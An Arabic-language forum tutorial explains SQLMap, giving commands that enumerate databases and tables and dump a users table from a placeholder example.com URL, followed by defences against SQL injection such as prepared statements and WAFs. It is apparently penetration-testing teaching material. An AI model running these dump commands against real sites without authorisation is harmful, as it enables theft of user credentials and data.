
- بواسطة x32x01 ||


إيه هي SQLMap؟
SQLMap هي أداة مفتوحة المصدر مكتوبة بلغة Python، بتُستخدم لأتمتة عملية اكتشاف واستغلال ثغرات SQL Injection في تطبيقات الويب. الثغرة دي بتحصل لما التطبيق بيسمح بحقن أوامر SQL في مدخلات المستخدم (زي حقول تسجيل الدخول) بدون تنقية (Sanitization). SQLMap بتقدر تجيب بيانات زي أسماء قواعد البيانات، الجداول، أو حتى بيانات المستخدمين.ليه SQLMap خطيرة؟
لو الموقع فيه ثغرة SQL Injection، SQLMap بتقدر:- تستخرج بيانات حساسة (زي كلمات السر أو بيانات العملاء).
- تصعّد الصلاحيات على السيرفر.
- تنفّذ أوامر على النظام (في حالات متقدمة).
خطوات استخدام SQLMap
هنشرح إزاي تستخدم SQLMap على Kali Linux لاختبار موقع ويب (بشرط يكون عندك إذن قانوني).1. تثبيت SQLMap
- افتح Terminal في Kali Linux.
- لو SQLMap مش مثبتة، نفّذ الأمر ده:
Code:sudo apt-get install sqlmap
- تأكد إن الأداة شغالة بكتابة:
Code:sqlmap --version
2. اكتشاف قواعد البيانات
- نفّذ الأمر ده عشان تبحث عن ثغرات SQL Injection وتستخرج أسماء قواعد البيانات:
Code:sqlmap -u "http://example.com/page?id=1" --dbs
- استبدل
http://example.com/page?id=1
بالـ URL بتاع الموقع اللي بتختبره. - النتيجة: SQLMap هتفحص الـ URL وتعرض قواعد البيانات المتاحة (زي
users_db
).
3. استخراج الجداول
- لو اكتشفت قاعدة بيانات (مثل
users_db
)، استخدم الأمر ده عشان تجيب الجداول:
Code:sqlmap -u "http://example.com/page?id=1" -D users_db --tables
- النتيجة: هتظهر لك الجداول زي
users
أوadmins
.
4. استخراج البيانات من جدول
- لو عايز تستخرج بيانات من جدول معين (مثل
users
)، استخدم الأمر ده:
Code:sqlmap -u "http://example.com/page?id=1" -D users_db -T users --dump
- النتيجة: SQLMap هتستخرج كل البيانات في الجدول (زي أسماء المستخدمين وكلمات السر).
مثال عملي
- السيناريو: موقع ويب فيه صفحة تسجيل دخول بـ URL زي:
Code:http://example.com/login?id=1
- اختبار الثغرة: نفّذ الأمر:
Code:sqlmap -u "http://example.com/login?id=1" --dbs
- النتيجة: لو الموقع فيه ثغرة SQL Injection، SQLMap هتعرض قواعد البيانات (مثل
site_db
). - استخراج الجداول:
Code:sqlmap -u "http://example.com/login?id=1" -D site_db --tables
users
،passwords
). - استخراج البيانات:
Code:sqlmap -u "http://example.com/login?id=1" -D site_db -T users --dump
username: admin, password: hashed_pass
).
نصايح للحماية من SQL Injection
عشان تحمي تطبيقاتك من ثغرة SQL Injection اللي SQLMap بتستغلها:- استخدم استعلامات مجهزة: زي Prepared Statements أو Parameterized Queries في لغات زي PHP، Python، أو Java.
PHP:// مثال في PHP $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);
- نظّف المدخلات: استخدم مكتبات تنقية (Sanitization) زي
filter_input()
في PHP. - قلّل الصلاحيات: شغّل قاعدة البيانات بحساب بصلاحيات محدودة مش Root.
- استخدم WAF: زي Cloudflare أو ModSecurity لتصفية الطلبات الخبيثة.
- حدّث التطبيقات: ركّب آخر تحديثات الأمان للبرامج وقواعد البيانات.
- راقب السجلات: استخدم أدوات زي
Splunk
أو ELK Stack لرصد محاولات الهجوم. - اختبر تطبيقاتك: استخدم أدوات زي
Burp Suite
أو OWASP ZAP لفحص الثغرات. - للهكرز الأخلاقيين: جرب SQLMap في بيئات معزولة زي Hack The Box أو TryHackMe.
خلّصنا.. ابدأ رحلتك في اختبار الاختراق!
SQLMap أداة قوية جدًا لاختبار ثغرات SQL Injection، بس لازم تستخدمها بمسؤولية. لو عايز تبقى هاكر أخلاقي، اتعلم إزاي تكتشف الثغرات وتحمي منها في بيئة آمنة زي Kali Linux. تابع منتديات اكتب كود لشروحات جديدة عن Cybersecurity وPenetration Testing
كل أسبوع! 

التعديل الأخير: